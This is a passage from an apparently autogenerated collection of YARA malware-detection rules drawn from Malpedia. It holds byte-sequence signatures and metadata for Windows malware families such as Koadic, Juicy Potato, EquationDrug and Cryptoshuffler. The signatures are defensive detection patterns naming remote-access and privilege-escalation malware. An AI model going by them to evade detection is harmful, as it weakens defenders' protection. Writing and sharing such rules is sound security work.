		$sequence_3 = { 89c2 89d0 c1e81f 01d0 }
		$sequence_4 = { 83f8ff 750c e8???????? 8b00 83f873 }
		$sequence_5 = { 760f e8???????? c7001c000000 31c0 }
		$sequence_6 = { eb0a c785ecefffff00000000 8b85ecefffff c9 }
		$sequence_7 = { eb19 e8???????? c70016000000 e8???????? c70016000000 }
	condition:
		7 of them and filesize < 2310144
}

rule MALPEDIA_Win_Koadic_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "90cb2869-83e9-5158-9659-47bf570b7e5e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.koadic_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "d8659459b0b0216a7ee3a53301a133024a4e0a3aca2952b29c3bef6ea3dd8620"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 58 89450c 8b0424 50 58 894510 }
		$sequence_1 = { 884c3410 85db 75d4 85f6 7e0c 8a4c3410 }
		$sequence_2 = { 89442428 ff742420 8b6c2418 58 894500 ff742424 58 }
		$sequence_3 = { 740d 50 51 e8???????? 83c408 c20800 }
		$sequence_4 = { ff05???????? 8934c558344100 890cc55c344100 5e c20800 55 8bec }
		$sequence_5 = { 8bf0 e8???????? 33ff 3bc7 740a 893e 897e04 }
		$sequence_6 = { 897e1c 3bc5 0f8490000000 8b4804 894e10 8b480c 894e18 }
		$sequence_7 = { c21000 8b442408 48 7404 33c0 eb15 8b442404 }
		$sequence_8 = { 58 a3???????? ff7508 58 }
		$sequence_9 = { 6a08 ff35???????? ff15???????? 8bf0 33db 3bf3 }
	condition:
		7 of them and filesize < 180224
}

rule MALPEDIA_Win_Biscuit_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4b580404-4186-5ded-b852-ff8cc2d91924"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.biscuit"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.biscuit_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "21658c2822d8c2da349d55326a2fbe01a4e5603d4a188c5f0ab05c786709117d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c6040800 8b4c241c 5f c745300030c084 8bc5 5e }
		$sequence_1 = { 8b95b8b7ffff 52 e8???????? 83c404 eb22 8b85d4daffff 83e801 }
		$sequence_2 = { 8d8dd0daffff 51 b9???????? e8???????? 25ff000000 85c0 }
		$sequence_3 = { eb1f 8b45f0 83e801 898584b6ffff 8b8d84b6ffff 8a11 }
		$sequence_4 = { 8b8d74b7ffff 3b4de0 0f83f5000000 8b55e0 2b9574b7ffff 899588b7ffff 8b857cb7ffff }
		$sequence_5 = { 83bd28ffffff00 7502 eb71 8b8528ffffff 33c9 }
		$sequence_6 = { 03f0 03d8 3bb42458100000 734f 6800100000 8d442444 53 }
		$sequence_7 = { 8d8da0daffff e8???????? 8d9510b9ffff 52 b9???????? e8???????? }
		$sequence_8 = { 8b8db0feffff 51 e8???????? 83c404 eb1f 8b55e4 83ea01 }
		$sequence_9 = { 83e901 898d34feffff 8b9534feffff 8a02 2c01 8b8d34feffff }
	condition:
		7 of them and filesize < 180224
}

rule MALPEDIA_Win_Juicy_Potato_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "874d6ec6-fd0c-5bd7-9c40-0556815f8763"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.juicy_potato"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.juicy_potato_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "1027b6a0329ebee66fff8afc52e7ac6bf20b1db9537e47f298642e3fe872d860"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f8521ffffff 44882b eb7b 488b9540070000 4c8d05d7b20200 }
		$sequence_1 = { e8???????? 488d1548380300 488d4c2420 e8???????? cc 488d4c2420 e8???????? }
		$sequence_2 = { 0fb7d0 488d8de0000000 81ca00000780 85c0 0f4ed0 e8???????? 488d15a8350200 }
		$sequence_3 = { 488d054ab1ffff 4889442438 488d4c2428 e8???????? }
		$sequence_4 = { e8???????? eb98 488d4c2420 e8???????? 488d15fee90200 488d4c2420 }
		$sequence_5 = { 4889442430 8b442478 89442428 488b442470 4c8b11 4889442420 }
		$sequence_6 = { 488901 488d05660b0100 48894110 f6c201 740a ba90000000 e8???????? }
		$sequence_7 = { 4885c0 7509 488d056f200400 eb04 4883c024 8938 e8???????? }
		$sequence_8 = { 4883ec20 488bd9 488bc2 488d0d9dc10000 48890b }
		$sequence_9 = { 44016f6c 48875308 4c396b08 7521 8364242800 488d0560acfeff 4889442430 }
	condition:
		7 of them and filesize < 736256
}

rule MALPEDIA_Win_Mim221_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "228071fb-1a03-5df1-9306-75e661d4eff3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mim221"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mim221_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "fbcd019f6c67a46486f2c63b4d67a0947f9feb6ff08f1d935eac4f65f1ebad93"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d0d77ec0100 e8???????? 488bf0 483bc5 7507 33c0 e9???????? }
		$sequence_1 = { 66c785cc0000007800 66c785ce0000006300 66c785d00000006500 66c785d20000007000 66c785d40000007400 66c785d60000006900 66c785d80000006f00 }
		$sequence_2 = { 48894108 488b442440 488b4808 4885c9 740f ff15???????? 488b4c2440 }
		$sequence_3 = { 33d2 488d42ff 48f7f1 4883f801 733b 48c78424b800000000000000 488d9424b8000000 }
		$sequence_4 = { 49c743a80f000000 49c743a000000000 c644247800 33c0 488d48ff 488d7c2460 f2ae }
		$sequence_5 = { e8???????? 90 488d4c2450 e8???????? 90 488d054c2b0100 4889442450 }
		$sequence_6 = { c78424c0000000d8000000 89ac24c4000000 89b424c8000000 48c78424d000000020010000 89bc24d8000000 48c78424e000000018000000 44899c24e8000000 }
		$sequence_7 = { 4883f8ff 488be8 0f84ae000000 488d9424c0000000 488bc8 c78424c000000038020000 e8???????? }
		$sequence_8 = { 6644897c2450 66c74424526400 66c74424545d00 66897c2456 }
		$sequence_9 = { 7505 498bd1 eb21 498b5108 41386849 7504 49895008 }
	condition:
		7 of them and filesize < 471040
}

rule MALPEDIA_Win_Cryptoshuffler_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "998eec42-f040-507e-9bef-931d28600d2d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshuffler"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptoshuffler_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "2eb7cd664cf23b0f4478f6fc772120b42235dfe3815c8e843a34a2664a62760c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 660f282d???????? 660f59f5 660f28aa20a50210 660f54e5 660f58fe }
		$sequence_1 = { 8d0486 894304 5f 8933 }
		$sequence_2 = { f6c11f 0f85ad040000 8b41fc 3bc1 0f83a2040000 }
		$sequence_3 = { 83f85b 757d 8b06 8b4e08 3bc1 }
		$sequence_4 = { 837e4c29 8ad8 0f85fd000000 8b06 8b4e08 3bc1 }
		$sequence_5 = { c7401c00000000 c7402000000000 8906 894604 8b4508 89460c 8bc6 }
		$sequence_6 = { 8b4508 83c020 50 ff15???????? 5d c3 6a0a }
		$sequence_7 = { e8???????? 8bce e8???????? 837e4cff b101 0f8555fcffff }
		$sequence_8 = { 8d45b4 89458c 8d458c 51 50 51 e8???????? }
		$sequence_9 = { 6685c0 0f84e7000000 6a00 8d4e24 }
	condition:
		7 of them and filesize < 425984
}

rule MALPEDIA_Win_Equationdrug_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0821a935-fb15-5c3e-bb02-07988e07b501"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.equationdrug"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.equationdrug_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "33511eccd2ca8c4746b8fc7fbb9655df57173691c00d0c7d16e68bf416563316"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 751f 668b5c241c 66395c240c 7420 8d4c240c 46 51 }
		$sequence_1 = { 8b4604 50 e8???????? 8b542430 8b4c2434 83c404 8d048a }
		$sequence_2 = { 50 e8???????? 83c404 84c0 7507 b812060000 5e }
		$sequence_3 = { 89742468 e8???????? 6a40 899c24bc030000 e8???????? 83c404 89442440 }
		$sequence_4 = { 8b4618 50 8944240c e8???????? 33ff 897e18 897e1c }
		$sequence_5 = { 8bc5 5e 5d 5b 81c498000000 c3 5f }
		$sequence_6 = { 0f8578010000 8b9424f8000000 83c9ff 8bfa f2ae f7d1 51 }
		$sequence_7 = { 85c0 66a5 7409 50 e8???????? 83c404 8b4c2418 }
		$sequence_8 = { 5f 8930 5e 8919 5d 33c0 5b }
		$sequence_9 = { 8b4c2414 83c408 897e08 897e0c 897e10 5f 5e }
	condition:
		7 of them and filesize < 449536
}

rule MALPEDIA_Win_Bravonc_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6dc4fda1-21f0-5df6-853f-1dcbad03c148"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bravonc"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bravonc_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "773a75cc27f4f0e2a9753a7f457b50e9ee585cad286c778ed87544df88619b9a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4838 334820 334818 33480c }
		$sequence_1 = { 68???????? e8???????? e8???????? be???????? 68???????? 56 c705????????03000000 }
		$sequence_2 = { 8bce e8???????? eb03 8b7d08 8b1d???????? 8d45f4 }
		$sequence_3 = { 33480c 334804 51 e8???????? 8b8ec0000000 53 ff75f0 }
		$sequence_4 = { 334dec 57 ff75fc 334dfc }
		$sequence_5 = { 5e c9 c20c00 55 8bec 81ec80020000 53 }
		$sequence_6 = { 57 8bce ff15???????? 8bc6 5f 5e c9 }
		$sequence_7 = { 8945f4 8b06 f7d8 23c1 03f3 8945fc }
		$sequence_8 = { 334834 6a01 334828 334814 51 }
		$sequence_9 = { eb02 33db 6a01 e8???????? 84c0 59 750d }
	condition:
		7 of them and filesize < 131072
}

rule MALPEDIA_Win_Acridrain_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ef433885-2f79-5863-bbed-81d7d31ae677"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acridrain"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acridrain_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "be1111fbfc299034daf1631180c40c75225491471e67ad1cf19bc33316287e9b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff8ea0000000 8bf8 897df0 83ff64 741e 83bb8400000000 7c15 }
		$sequence_1 = { ff7048 e8???????? 83c404 85f6 0f85c4000000 8b4dec 8bc7 }
		$sequence_2 = { f6401604 57 8b7a38 7414 8b45f0 51 03c7 }
		$sequence_3 = { f20f5945d4 f20f5905???????? e9???????? 81fe56010000 7c2a 8bcf e8???????? }
		$sequence_4 = { e8???????? 33c9 0fb6db 83c408 84c0 0f45d9 895c2414 }
		$sequence_5 = { 8b4e08 3bcb 740d 40 83c654 3bc2 72f1 }
		$sequence_6 = { ff7548 68???????? 55 e8???????? 83c40c 85c0 0f85b8010000 }
		$sequence_7 = { 8b7d08 8b472c 85c0 0f84a6000000 53 8b5d0c 56 }
		$sequence_8 = { ff75f4 ff750c 57 e8???????? 83c418 85c0 0f84b3feffff }
		$sequence_9 = { e8???????? ff75cc 57 53 e8???????? 8b55b8 52 }
	condition:
		7 of them and filesize < 2244608
}

rule MALPEDIA_Win_Absentloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6f362b30-2c49-5b13-a74d-e646b2c361d8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.absentloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.absentloader_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "ec030f0c846e40821b8f0d08fe92e09a60380de99ecc678dae260a482a99d7bb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 50 8bce e8???????? 834dfcff 8d85f0f9ffff 50 }
		$sequence_1 = { 8b08 8bc3 2bc1 c1f804 3bf0 7238 }
		$sequence_2 = { 5e 8b448dd8 83e825 6bc033 99 f7fe }
		$sequence_3 = { 6a7f 0f1145dc c745ec59000000 5f 6a32 58 2b448ddc }
		$sequence_4 = { 48 a3???????? ff15???????? 8b0d???????? 89048db09506fd 5d c3 }
		$sequence_5 = { 68087905fd 68007905fd 68087905fd 6a06 e8???????? 8bf0 }
		$sequence_6 = { e8???????? 83ec18 c645fc07 8bcc 68a8f905fd 895910 c741140f000000 }
		$sequence_7 = { 8b08 bfc8aa06fd 0f2805???????? a1???????? 0f1145dc c745ec0e5a410e }
		$sequence_8 = { 40 83f80e 72f6 8bc1 c3 80791300 740c }
		$sequence_9 = { 57 bf88a706fd 8d75e8 689f0705fd a5 a5 }
	condition:
		7 of them and filesize < 794624
}

rule MALPEDIA_Win_Furtim_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ad577b23-66c9-5c51-817c-414dfaa85803"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.furtim"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.furtim_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "d317e4f334ec1dda33c613c0848248b97fb2b5924cd44cad020709ead778cee8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c3 55 8bec 83ec68 53 56 68???????? }
		$sequence_1 = { 85c0 7413 8b4c2424 8bd1 2bd6 8a12 8811 }
		$sequence_2 = { 55 8bec 8b4508 ff34c5d0404100 ff15???????? 5d c3 }
		$sequence_3 = { 5e 5b c9 c20800 56 8bf1 ff96d4060000 }
		$sequence_4 = { 8bf8 68???????? 57 ff961c070000 83c40c 6a0b 57 }
		$sequence_5 = { 33db 895de8 8d7dec ab ab ab 8d45fc }
		$sequence_6 = { ff969c020000 85c0 0f850d010000 33db 399e08060000 0f84f7000000 33c0 }
		$sequence_7 = { 895df4 ff9660060000 85c0 7532 385dfc 742d 0fb645fc }
		$sequence_8 = { 7405 8bce ff5614 53 53 56 ffb640070000 }
		$sequence_9 = { 56 53 ffb360020000 8975fc 56 }
	condition:
		7 of them and filesize < 622592
}

rule MALPEDIA_Win_W32Times_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8d0ca9de-72d5-5416-8ea3-4ffe99cecdda"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.w32times"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.w32times_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "f7e65aa826ad4cf269428f43fa98d18142b27ed083ec25ea57e656102267e97a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d44240c 6a00 50 53 57 56 c744242000000000 }
		$sequence_1 = { 6a03 55 6a01 8d8c2410080000 6800000080 }
		$sequence_2 = { 51 ffd6 8b4500 8d54242c }
		$sequence_3 = { 8bcd 4f c1e902 f3a5 8bcd 8d9424ec010000 83e103 }
		$sequence_4 = { 3b9c24000d0000 0f84cc090000 8a8424f0020000 84c0 0f84bd090000 8a8424e8000000 84c0 }
		$sequence_5 = { 7534 8b2d???????? 46 56 68???????? }
		$sequence_6 = { 8bd8 ffd7 56 ffd7 53 ff15???????? }
		$sequence_7 = { ebd7 68???????? ff15???????? 8b1d???????? 68???????? ff15???????? 85db }
		$sequence_8 = { b941000000 bf???????? f3ab b941000000 8dbc24f8050000 }
		$sequence_9 = { 83c40c 85c0 0f85e00c0000 8b4b04 6a04 }
	condition:
		7 of them and filesize < 122880
}

rule MALPEDIA_Win_Govrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0c1f568e-0870-502d-8ab7-d2bc8e9569e8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.govrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.govrat_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "abfba34e1bd79612302779859a269397cc43e8444d7e6090aaef75a3d69df6b1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4dc4 e8???????? 8b00 50 8d4708 895f10 895f14 }
		$sequence_1 = { 897804 8b7904 8930 8b31 0facfe01 d1ef 83780400 }
		$sequence_2 = { 59 03f1 8dbc24b8000000 33c0 f3a7 7418 }
		$sequence_3 = { ff15???????? 83a65401000000 c3 53 55 56 8d6f44 }
		$sequence_4 = { ff15???????? 83a65401000000 c3 53 55 }
		$sequence_5 = { 6a00 6a00 ff15???????? 8b4c2404 8901 85c0 7404 }
		$sequence_6 = { 832d????????04 e9???????? 55 8bec 83ec14 a1???????? 53 }
		$sequence_7 = { 7543 837d1000 0f845cfeffff 8b87a8000000 2b442420 8b8fac000000 1b4c2424 }
		$sequence_8 = { 8d4df8 8d4518 e8???????? 8b45f8 0b45fc 750a 2145fc }
		$sequence_9 = { 8945f8 8b4508 ff700c ff15???????? 8bf0 }
	condition:
		7 of them and filesize < 761856
}

rule MALPEDIA_Win_Gibberish_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d0f0a81c-c436-554f-886e-c05189a90753"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gibberish"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gibberish_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "ec3ea314ac6eedd0a24b154c568d1f6c449d7a6dabe6072547ddc0bc708507da"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 894dec 8975e8 668907 894dfc 8bce c745f001000000 8d5102 }
		$sequence_1 = { 8b74242c 8bd0 8944245c 8bce 8bc6 c1c90b c1c007 }
		$sequence_2 = { 68???????? ff15???????? 85c0 7424 56 56 8d85fcfffdff }
		$sequence_3 = { 8b0ccdf2a94700 0fb680c8a94500 330cc5f1a94700 8bc2 c1e818 0fb680c8a94500 330cc5f4a94700 }
		$sequence_4 = { 330a 85d2 894b04 8d4a04 0f44ca }
		$sequence_5 = { ffd3 8b45d8 8d3446 33c0 83c602 663906 75c3 }
		$sequence_6 = { f30f7e05???????? 0f114c2420 0f284c2450 660f3840c8 0f10442420 0f11542470 }
		$sequence_7 = { 7535 017524 297528 2bd6 8b5c242c 5f }
		$sequence_8 = { 6af5 eb03 50 6af6 ff15???????? 8b04bd80b64700 }
		$sequence_9 = { 33c8 8b44241c 33c6 23442414 33c6 03c8 8b442474 }
	condition:
		7 of them and filesize < 1068032
}

rule MALPEDIA_Win_Red_Gambler_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "424f410a-a1db-5f80-8bc0-d2770de1bebd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.red_gambler"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.red_gambler_auto.yar#L1-L298"
		license_url = "N/A"
		logic_hash = "b3fef0f5439e9ff88d33fd6c22b22c41979ab9321c0a109b616fbbcd9f2274a0"
		score = 75
		quality = 71
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6800010000 8d440601 50 68???????? e9???????? 68???????? }
		$sequence_1 = { 55 8bec 837d0c10 56 57 }
		$sequence_2 = { 8d55fc 52 56 6a00 6880000000 6a02 ffd7 }
		$sequence_3 = { 33db 68ff000000 8d44244d 53 }
		$sequence_4 = { 8b1d???????? 8da42400000000 6a00 68???????? ffd3 }
		$sequence_5 = { ff15???????? 85c0 7520 8b542418 52 8d84243c010000 }
		$sequence_6 = { 33c8 03ff 03ff 83e1f0 }
		$sequence_7 = { 90 57 8d95fcfeffff 52 }
		$sequence_8 = { 52 ff15???????? 8d8594fbffff 50 }
		$sequence_9 = { 7f6f c8603a0c 7364 42 e5e1 5f }
		$sequence_10 = { 3d067c263c 3c3d 9e e7bd }
		$sequence_11 = { 6800010000 8d8dfcfdffff 51 6a00 }
		$sequence_12 = { 64f33c87 3cfb 3ccd 047e 0000 3e2a6616 2bb0775ea707 }
		$sequence_13 = { ff15???????? 83c414 6a00 6a00 8d9598fbffff }
		$sequence_14 = { 8d8594fbffff 50 8d4d98 51 ff15???????? }
		$sequence_15 = { 2bb0775ea707 2d9e2b3706 d7 e8???????? 004f21 7ea2 }
		$sequence_16 = { 6800010000 8d85fcfeffff 50 6a00 ff15???????? }
		$sequence_17 = { 68???????? 8d8d98fbffff 68???????? 51 }
		$sequence_18 = { 8d9598fbffff 52 68???????? 6a00 6a00 ff15???????? 8b4dfc }
		$sequence_19 = { 2b2a bee7eee947 7c26 0e 6706 7e0e 2829 }
		$sequence_20 = { 8d5598 52 8d8598fdffff 50 68???????? 8d8d98fbffff }
		$sequence_21 = { 6800010000 8d8d98fdffff 51 8d9598feffff }
		$sequence_22 = { 74be 6f 665b e17a 6c 8737 27 }
		$sequence_23 = { 4c 48 44 40 }
		$sequence_24 = { 6e 44 b11a dfaf4e71ac05 }
		$sequence_25 = { ff96bcd60000 83c704 8d5efc 31c0 }
		$sequence_26 = { ffd3 68???????? 56 8bf8 ffd3 8bd8 ffd7 }
		$sequence_27 = { ff15???????? 40 68???????? 50 ff15???????? 8d8dfcfeffff }
		$sequence_28 = { a1???????? a3???????? a1???????? c705????????6b214000 8935???????? a3???????? }
		$sequence_29 = { c1f805 c1e606 033485c0974000 8b45f8 }
		$sequence_30 = { 85f6 0f8492000000 8b1d???????? 68???????? }
		$sequence_31 = { f2ae 55 ff96acd60000 09c0 7407 8903 83c304 }
	condition:
		7 of them and filesize < 327680
}

rule MALPEDIA_Win_Mewsei_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "add045ad-b22b-5690-8008-c500cb8eb696"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mewsei"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mewsei_auto.yar#L1-L125"
		license_url = "N/A"
